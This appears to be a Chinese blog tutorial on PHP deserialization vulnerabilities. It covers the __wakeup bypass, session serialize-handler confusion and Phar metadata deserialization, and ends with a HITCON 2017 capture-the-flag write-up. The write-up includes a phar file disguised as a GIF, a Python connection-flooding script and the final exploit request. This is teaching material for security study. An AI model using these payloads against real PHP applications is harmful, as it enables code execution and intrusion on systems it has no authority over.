欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP反序列化漏洞

程序员文章站 2022-03-10 19:01:08
...

序列化与反序列:

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
其实就是将数据转化成一种可逆的数据结构,反序列化就是其逆向的过程。
序列化的目的是方便数据的传输和存储。
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
常见的序列化格式:

二进制格式
字节数组
json字符串
xml字符串

PHP反序列化漏洞

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

serialize():

用于序列化对象或数组,并返回一个字符串。serialize() 函数序列化对象后其类型和结构不会改变,方便之后的传递与使用。
string serialize ( mixed $value )
在serialize()函数执行时,会先检查类中是否定义了sleep()函数,如果存在,则首先调用sleep()函数,如果不存在,就保留序列字符串中的所有属性。

unserialize():

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
mixed unserialize ( string $str )
在unserialize()函数执行时,会先检查是否定义了wakeup()函数。如果wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。

序列化字符串格式:变量类型:变量长度:变量内容
如果序列化的是一个对象,序列化字符串格式为:
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
例如:a:3:{i:0;s:6:“Google”;i:1;s:6:“Runoob”;i:2;s:8:“Facebook”;}
当使用unserialize()恢复对象时,将调用_wakeup()成员函数。
传给unserialize()的参数可控时,如果恶意用户传入一个精心构造的序列化字符串,当进行反序列化的时候就有可能会触发对象中的一些魔术方法从而控制对象内部的变量甚至是函数。

常见的PHP反序列化漏洞中可能会用到的魔术方法(特定场景下自动触发):
__wakeup() //使用unserialize时触发
__construct () //具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct() //对象被销毁时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__sleep() //使用serialize时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发

利用方式:

__wakeup( )绕过,Session反序列化,Phar反序列化

一、__wakeup( )绕过 (CVE-2016-7124)

反序列化时,如果就会跳过__wakeup( )的执行。
__wakeup触发于unserilize()调用之前,但是如果表示对象属性个数的值大于真实的属性个数时,会导致反序列化失败而同时使得__wakeup失效。
影响版本:

  • PHP before 5.6.25
    7.x before 7.0.10

测试代码
PHP反序列化漏洞
PHP反序列化漏洞

成功绕过__wakeup

二、Session反序列化

PHP中的Session经序列化后存储,读取时再进行反序列化。
PHP的三种序列化处理器:

php 						键名 + 竖线 + 经过serialize()函数反序列化处理的值   // name|s:5:"hello";
php_binary 					键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值  // names:5:"hello";
php_serialize(php>=5.5.4) 	经过serialize()函数反序列处理的数组  // a:1:{s:4:"name";s:5:"hello";}

php中session相关配置:

session.save_path=""       	设置session的存储路径
session.save_handler="" 		设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen   	指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string	定义用来序列化/反序列化的处理器名字。默认使用php

如果PHP在序列化存储$_SEESION数据时使用的处理器和反序列化读取时使用的处理器不同,会导致处理的Session序列化格式不同,数据无法正确反序列化,就可能产生漏洞。
列如:当存储时由php_serialize处理,传入a=|O:4:“test”:hello:{},session中的内容是a:1:{s:1:“a”;s:20:"|O:4:“test”:hello:{}";”;} 这在php_serialize中是一个数组,包含一个元素。但是在另一个页面读取时使用的是默认的序列化器php,|前的部分被解析为键,|后的O:4:“test”:hello:{}";被解析为值,进行反序列化,最后的";}会被直接忽略掉。

三、Phar反序列化

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
phar:// 与file:// php://等类似,也是一种流包装器。phar://”允许我们将多个文件归入一个本地文件夹。PHP的文件操作函数能够接受许多内置的流包装器。。
phar结构由 4 部分组成

stub phar 	文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。来绕过一些上传限制。
manifest 	压缩文件的属性等信息,以序列化存储;
contents 	压缩文件的内容;
signature 	签名,放在文件末尾;

manifest存储了经过serialize( )处理的Meta-data,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。
PHP反序列化漏洞
相关的文件操作函数:
PHP反序列化漏洞

漏洞利用条件:

1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

例题:[hitcon2017] Baby^H-master-php-2017

<?php 
    $FLAG    = create_function("", 'die(`/read_flag`);'); 
    $SECRET  = `/read_secret`; 
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);  
    @mkdir($SANDBOX); 
    @chdir($SANDBOX); 

    if (!isset($_COOKIE["session-data"])) { 
        $data = serialize(new User($SANDBOX)); 
        $hmac = hash_hmac("sha1", $data, $SECRET); 
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); 
    } 

    class User { 
        public $avatar; 
        function __construct($path) { 
            $this->avatar = $path; 
        } 
    } 

    class Admin extends User { 
        function __destruct(){ 
            $random = bin2hex(openssl_random_pseudo_bytes(32)); 
            eval("function my_function_$random() {" 
                ."  global \$FLAG; \$FLAG();" 
                ."}"); 
            $_GET["lucky"](); 
        } 
    } 

    function check_session() { 
        global $SECRET; 
        $data = $_COOKIE["session-data"]; 
        list($data, $hmac) = explode("-----", $data, 2); 
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) 
            die("Bye"); 
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) 
            die("Bye Bye"); 

        $data = unserialize($data); 
        if ( !isset($data->avatar) ) 
            die("Bye Bye Bye"); 
        return $data->avatar; 
    } 

    function upload($path) { 
        $data = file_get_contents($_GET["url"] . "/avatar.gif");
        //当file_get_contents函数通过phar://伪协议解析phar文件时就会将数据反序列化。
        if (substr($data, 0, 6) !== "GIF89a") 
            die("Fuck off"); 
        file_put_contents($path . "/avatar.gif", $data); 
        die("Upload OK"); 
    } 

    function show($path) { 
        if ( !file_exists($path . "/avatar.gif") ) 
            $path = "/var/www/html"; 
        header("Content-Type: image/gif"); 
        die(file_get_contents($path . "/avatar.gif")); 
    } 

    $mode = $_GET["m"]; 
    if ($mode == "upload") 
        upload(check_session()); 
    else if ($mode == "show") 
        show(check_session()); 
    else 
        highlight_file(__FILE__);

主要考察两点:
1.php在解析Phar对象时会对Metadata进行反序列化操作。
2.匿名函数是有名字的,格式是\x00lambda_%d. (%d格式化为当前进程的第n个匿名函数)。

获取flag需要通过反序列化admin类来触发__destruct来完成.
一个方法是通过设置session-data的数据,但是这个地方是一个hash_hmac,没办法绕过.。但题目内upload函数提供了file_get_content()函数 ,且其中的url用户可控。
接下来上传一个phar文件,其中metadata设置为Admin对象,之后使用phar://解析,反序列化之后从而进入Admin类中的__destruct方法。
randomrandom 变量我们无法获得,不过FLAG是通过create_function创建的,但其实这个匿名函数是有名字的,格式是\x00lambda_%d.(%d格式化为当前进程的第n个匿名函数)。
步骤分别是:

<?php
class Admin{
 public $avatar = 'xxx';
}
$p = new Phar(__DIR__.'/avatar.phar',0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__.'/avatar.phar',__DIR__.'/avatar.gif');
?>

生成avatar.gif放在自己的 VPS 上,然后将文件上传到题目服务器上:请求http://题目IP/index.php?m=upload&url=http://自己vps的ip。
启动fork脚本使 apache 重新开启一个新的线程

#coding: UTF-8 

#Author: aaa@qq.com
# 

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '13.115.31.205'
        PORT = 80
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

请求http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1得到flag

参考:

https://blog.csdn.net/qq_19876131/article/details/52890854
https://www.cnblogs.com/ichunqiu/p/10484832.html
https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.jianshu.com/p/19e3ee990cb7
https://xz.aliyun.com/t/1773/
https://www.anquanke.com/post/id/162300#h2-10